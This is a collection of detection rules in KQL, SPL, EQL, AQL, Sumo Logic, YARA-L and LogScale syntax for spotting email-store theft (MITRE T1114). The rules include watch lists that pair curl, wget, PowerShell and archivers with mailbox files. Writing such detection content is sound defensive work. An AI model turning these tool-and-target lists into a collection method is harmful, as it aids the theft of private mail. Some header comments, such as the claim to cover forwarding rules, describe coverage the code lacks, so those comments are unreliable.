Email Collection

// T1114 Email Collection — covers local PST/OST access, bulk remote mailbox enumeration, and forwarding rule creation
let LegitEmailClients = dynamic(["outlook.exe", "thunderbird.exe", "SearchIndexer.exe", "SearchProtocolHost.exe", "MsMpEng.exe", "MsSense.exe", "msedge.exe"]);
let SuspiciousCollectionTools = dynamic(["cmd.exe", "powershell.exe", "pwsh.exe", "python.exe", "python3.exe", "wscript.exe", "cscript.exe", "mshta.exe", "robocopy.exe", "xcopy.exe", "7z.exe", "winrar.exe", "rar.exe", "curl.exe", "wget.exe"]);
// Branch 1: Non-email-client processes accessing local email data stores
let LocalEmailAccess = DeviceFileEvents
| where Timestamp > ago(24h)
| where ActionType in ("FileRead", "FileCopied", "FileCreated", "FileRenamed")
| where FileName has_any (".pst", ".ost", ".mbox", ".eml", ".msg", ".dbx", ".nsf")
| where InitiatingProcessFileName !in~ (LegitEmailClients)
| where FolderPath has_any (@"AppData\Local\Microsoft\Outlook", @"AppData\Roaming\Thunderbird", @"AppData\Local\Microsoft\Windows Mail", @"AppData\Roaming\Mozilla Thunderbird")
    or InitiatingProcessFileName in~ (SuspiciousCollectionTools)
| project
    Timestamp,
    DeviceName,
    AccountName,
    FileName,
    FolderPath,
    ActionType,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    ReportId,
    DetectionBranch = "LocalEmailCollection";
// Branch 2: High-volume O365 mailbox access suggesting programmatic email harvesting
let RemoteEmailCollection = OfficeActivity
| where TimeGenerated > ago(24h)
| where Operation in ("MailItemsAccessed", "MessageBind", "FolderBind")
| where ResultStatus =~ "Succeeded"
| summarize
    AccessCount = count(),
    UniqueIPs = dcount(ClientIP),
    ClientIPSet = make_set(ClientIP, 5),
    UserAgentSet = make_set(UserAgent, 3)
    by UserId, bin(TimeGenerated, 30m)
| where AccessCount > 200 or UniqueIPs > 3
| extend SuspicionFlag = case(
    UserAgentSet has_any ("python", "curl", "requests", "java", "go-http", "urllib"), "AutomationUserAgent",
    UniqueIPs > 3, "MultiIPAccess",
    "HighVolumeAccess")
| project
    Timestamp = TimeGenerated,
    DeviceName = "",
    AccountName = UserId,
    FileName = "",
    FolderPath = "",
    ActionType = strcat("BulkMailboxAccess|", SuspicionFlag),
    InitiatingProcessFileName = tostring(UserAgentSet),
    InitiatingProcessCommandLine = strcat("IPs: ", tostring(ClientIPSet), " | Count: ", tostring(AccessCount)),
    ReportId = "",
    DetectionBranch = "RemoteEmailCollection";
LocalEmailAccess
| union RemoteEmailCollection
| sort by Timestamp desc

// T1114 Email Collection — Sysmon file access to local email data stores
// Detects non-email-client processes accessing PST/OST/MBOX/MSG email files
(index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
  (TargetFilename="*.pst" OR TargetFilename="*.ost" OR TargetFilename="*.mbox"
   OR TargetFilename="*.eml" OR TargetFilename="*.msg" OR TargetFilename="*.dbx" OR TargetFilename="*.nsf")
  NOT (
    Image="*\\outlook.exe" OR Image="*\\OUTLOOK.EXE"
    OR Image="*\\thunderbird.exe"
    OR Image="*\\SearchIndexer.exe"
    OR Image="*\\SearchProtocolHost.exe"
    OR Image="*\\MsMpEng.exe"
    OR Image="*\\MsSense.exe"
  )
)
| eval SuspicionScore=0
| eval SuspicionScore=if(match(Image, "(?i)(powershell\.exe|pwsh\.exe|cmd\.exe|python[23]?\.exe|wscript\.exe|cscript\.exe|mshta\.exe)"), SuspicionScore+3, SuspicionScore)
| eval SuspicionScore=if(match(Image, "(?i)(robocopy\.exe|xcopy\.exe|7z\.exe|winrar\.exe|rar\.exe|curl\.exe|wget\.exe)"), SuspicionScore+3, SuspicionScore)
| eval SuspicionScore=if(match(lower(TargetFilename), "(appdata.*outlook|appdata.*thunderbird|appdata.*windows mail)"), SuspicionScore+2, SuspicionScore)
| eval SuspicionScore=if(match(TargetFilename, "(?i)(\.pst$|\.ost$)"), SuspicionScore+1, SuspicionScore)
| eval EmailFileType=case(
    match(TargetFilename, "(?i)\.pst$"), "OutlookPST",
    match(TargetFilename, "(?i)\.ost$"), "OutlookOST",
    match(TargetFilename, "(?i)\.mbox$"), "MboxArchive",
    match(TargetFilename, "(?i)\.msg$"), "OutlookMessage",
    match(TargetFilename, "(?i)\.eml$"), "EmailFile",
    1==1, "OtherEmailFile")
| where SuspicionScore > 0
| eval AccountName=if(isnull(User), "Unknown", User)
| table _time, host, AccountName, Image, CommandLine, TargetFilename, EmailFileType, SuspicionScore
| sort - SuspicionScore, - _time

sequence by host.name with maxspan=5m
  [file where event.action in ("creation", "overwrite", "rename") and
   file.extension in ("pst", "ost", "mbox", "eml", "msg", "dbx", "nsf") and
   not process.name in~ ("outlook.exe", "OUTLOOK.EXE", "thunderbird.exe", "SearchIndexer.exe", "SearchProtocolHost.exe", "MsMpEng.exe", "MsSense.exe", "msedge.exe") and
   (
     file.path like~ "*AppData*Outlook*" or
     file.path like~ "*AppData*Thunderbird*" or
     file.path like~ "*AppData*Windows Mail*" or
     process.name in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "python.exe", "python3.exe", "wscript.exe", "cscript.exe", "mshta.exe", "robocopy.exe", "xcopy.exe", "7z.exe", "winrar.exe", "rar.exe", "curl.exe", "wget.exe")
   )
  ] by process.entity_id

SELECT
  DATEFORMAT(starttime, 'yyyy-MM-dd HH:mm:ss') AS EventTime,
  sourceip,
  username,
  "filename" AS TargetFile,
  "Image" AS ProcessImage,
  "CommandLine" AS CommandLine,
  CATEGORYNAME(category) AS EventCategory,
  LOGSOURCETYPENAME(logsourceid) AS LogSourceType
FROM events
WHERE
  LOGSOURCETYPENAME(logsourceid) ILIKE '%Sysmon%'
  AND QIDNAME(qid) ILIKE '%File Create%'
  AND (
    "filename" ILIKE '%.pst'
    OR "filename" ILIKE '%.ost'
    OR "filename" ILIKE '%.mbox'
    OR "filename" ILIKE '%.eml'
    OR "filename" ILIKE '%.msg'
    OR "filename" ILIKE '%.dbx'
    OR "filename" ILIKE '%.nsf'
  )
  AND "Image" NOT ILIKE '%\\outlook.exe'
  AND "Image" NOT ILIKE '%\\OUTLOOK.EXE'
  AND "Image" NOT ILIKE '%\\thunderbird.exe'
  AND "Image" NOT ILIKE '%\\SearchIndexer.exe'
  AND "Image" NOT ILIKE '%\\SearchProtocolHost.exe'
  AND "Image" NOT ILIKE '%\\MsMpEng.exe'
  AND "Image" NOT ILIKE '%\\MsSense.exe'
  AND (
    "Image" ILIKE '%\\powershell.exe'
    OR "Image" ILIKE '%\\pwsh.exe'
    OR "Image" ILIKE '%\\cmd.exe'
    OR "Image" ILIKE '%\\python.exe'
    OR "Image" ILIKE '%\\python3.exe'
    OR "Image" ILIKE '%\\wscript.exe'
    OR "Image" ILIKE '%\\cscript.exe'
    OR "Image" ILIKE '%\\mshta.exe'
    OR "Image" ILIKE '%\\robocopy.exe'
    OR "Image" ILIKE '%\\xcopy.exe'
    OR "Image" ILIKE '%\\7z.exe'
    OR "Image" ILIKE '%\\winrar.exe'
    OR "Image" ILIKE '%\\rar.exe'
    OR "Image" ILIKE '%\\curl.exe'
    OR "Image" ILIKE '%\\wget.exe'
    OR "filename" ILIKE '%AppData%Outlook%'
    OR "filename" ILIKE '%AppData%Thunderbird%'
    OR "filename" ILIKE '%AppData%Windows Mail%'
  )
  AND LOGSOURCETYPENAME(logsourceid) NOT ILIKE '%Flow%'
LAST 24 HOURS
ORDER BY starttime DESC

// T1114 Email Collection - Local email data store access by suspicious processes
_sourceCategory=*windows*sysmon* EventID=11
| parse "<TargetFilename><![CDATA[*]]></TargetFilename>" as TargetFilename nodrop
| parse "<Image><![CDATA[*]]></Image>" as Image nodrop
| parse "<CommandLine><![CDATA[*]]></CommandLine>" as CommandLine nodrop
| parse "<User>*</User>" as User nodrop
| parse "<Computer>*</Computer>" as Computer nodrop
| where TargetFilename matches "*.pst"
  or TargetFilename matches "*.ost"
  or TargetFilename matches "*.mbox"
  or TargetFilename matches "*.eml"
  or TargetFilename matches "*.msg"
  or TargetFilename matches "*.dbx"
  or TargetFilename matches "*.nsf"
| where !(Image matches "*\\outlook.exe"
  or Image matches "*\\OUTLOOK.EXE"
  or Image matches "*\\thunderbird.exe"
  or Image matches "*\\SearchIndexer.exe"
  or Image matches "*\\SearchProtocolHost.exe"
  or Image matches "*\\MsMpEng.exe"
  or Image matches "*\\MsSense.exe"
  or Image matches "*\\msedge.exe")
| eval SuspicionScore = 0
| eval SuspicionScore = if(Image matches "*\\powershell.exe" or Image matches "*\\pwsh.exe" or Image matches "*\\cmd.exe" or Image matches "*\\python*.exe" or Image matches "*\\wscript.exe" or Image matches "*\\cscript.exe" or Image matches "*\\mshta.exe", SuspicionScore + 3, SuspicionScore)
| eval SuspicionScore = if(Image matches "*\\robocopy.exe" or Image matches "*\\xcopy.exe" or Image matches "*\\7z.exe" or Image matches "*\\winrar.exe" or Image matches "*\\rar.exe" or Image matches "*\\curl.exe" or Image matches "*\\wget.exe", SuspicionScore + 3, SuspicionScore)
| eval SuspicionScore = if(TargetFilename matches "*AppData*Outlook*" or TargetFilename matches "*AppData*Thunderbird*" or TargetFilename matches "*AppData*Windows Mail*", SuspicionScore + 2, SuspicionScore)
| eval SuspicionScore = if(TargetFilename matches "*.pst" or TargetFilename matches "*.ost", SuspicionScore + 1, SuspicionScore)
| where SuspicionScore > 0
| eval EmailFileType = if(TargetFilename matches "*.pst", "OutlookPST",
    if(TargetFilename matches "*.ost", "OutlookOST",
    if(TargetFilename matches "*.mbox", "MboxArchive",
    if(TargetFilename matches "*.msg", "OutlookMessage",
    if(TargetFilename matches "*.eml", "EmailFile", "OtherEmailFile")))))
| fields _messageTime, Computer, User, Image, CommandLine, TargetFilename, EmailFileType, SuspicionScore
| sort by SuspicionScore desc, _messageTime desc

rule t1114_email_collection_local_and_remote {
  meta:
    author = "Argus Detection Engineering"
    description = "Detects T1114 Email Collection: suspicious process access to local email data stores (PST/OST/MBOX/MSG/EML/DBX/NSF) by non-email-client processes including scripting engines, archival tools, and copy utilities"
    mitre_attack_technique = "T1114"
    mitre_attack_tactic = "Collection"
    severity = "HIGH"
    confidence = "HIGH"
    reference = "https://attack.mitre.org/techniques/T1114/"
    created = "2026-04-18"

  events:
    $e.metadata.event_type = "FILE_CREATION"
    (
      $e.target.file.full_path = /(?i)\.pst$/ or
      $e.target.file.full_path = /(?i)\.ost$/ or
      $e.target.file.full_path = /(?i)\.mbox$/ or
      $e.target.file.full_path = /(?i)\.eml$/ or
      $e.target.file.full_path = /(?i)\.msg$/ or
      $e.target.file.full_path = /(?i)\.dbx$/ or
      $e.target.file.full_path = /(?i)\.nsf$/
    )
    not $e.principal.process.file.full_path = /(?i)(\\outlook\.exe|\\thunderbird\.exe|\\SearchIndexer\.exe|\\SearchProtocolHost\.exe|\\MsMpEng\.exe|\\MsSense\.exe|\\msedge\.exe)$/
    (
      $e.principal.process.file.full_path = /(?i)(\\powershell\.exe|\\pwsh\.exe|\\cmd\.exe|\\python[23]?\.exe|\\wscript\.exe|\\cscript\.exe|\\mshta\.exe|\\robocopy\.exe|\\xcopy\.exe|\\7z\.exe|\\winrar\.exe|\\rar\.exe|\\curl\.exe|\\wget\.exe)$/ or
      $e.target.file.full_path = /(?i)AppData.*(Outlook|Thunderbird|Windows Mail)/
    )

  condition:
    $e
}

// T1114 Email Collection - Local email data store access by suspicious processes
// Targets Falcon WriteFile and FileOpenInfo events for email file extensions
#event_simpleName = /^(WriteFile|PeFileWritten|SyntheticProcessRollup2)$/
| TargetFileName = /(?i)\.(pst|ost|mbox|eml|msg|dbx|nsf)$/
| ImageFileName != /(?i)(\\outlook\.exe|\\OUTLOOK\.EXE|\\thunderbird\.exe|\\SearchIndexer\.exe|\\SearchProtocolHost\.exe|\\MsMpEng\.exe|\\MsSense\.exe|\\msedge\.exe)$/
| SuspiciousTool := ImageFileName = /(?i)(\\powershell\.exe|\\pwsh\.exe|\\cmd\.exe|\\python[23]?\.exe|\\wscript\.exe|\\cscript\.exe|\\mshta\.exe|\\robocopy\.exe|\\xcopy\.exe|\\7z\.exe|\\winrar\.exe|\\rar\.exe|\\curl\.exe|\\wget\.exe)$/
| EmailProfilePath := TargetFileName = /(?i)AppData.*(Outlook|Thunderbird|Windows.Mail)/
| where SuspiciousTool = true or EmailProfilePath = true
| EmailFileType := case(
    TargetFileName = /(?i)\.pst$/, "OutlookPST",
    TargetFileName = /(?i)\.ost$/, "OutlookOST",
    TargetFileName = /(?i)\.mbox$/, "MboxArchive",
    TargetFileName = /(?i)\.msg$/, "OutlookMessage",
    TargetFileName = /(?i)\.eml$/, "EmailFile",
    true, "OtherEmailFile")
| groupBy([ComputerName, UserName, ImageFileName, EmailFileType], function=[
    count(as=AccessCount),
    collect(TargetFileName, limit=10),
    collect(CommandLine, limit=5)
  ])
| sort(AccessCount, order=desc)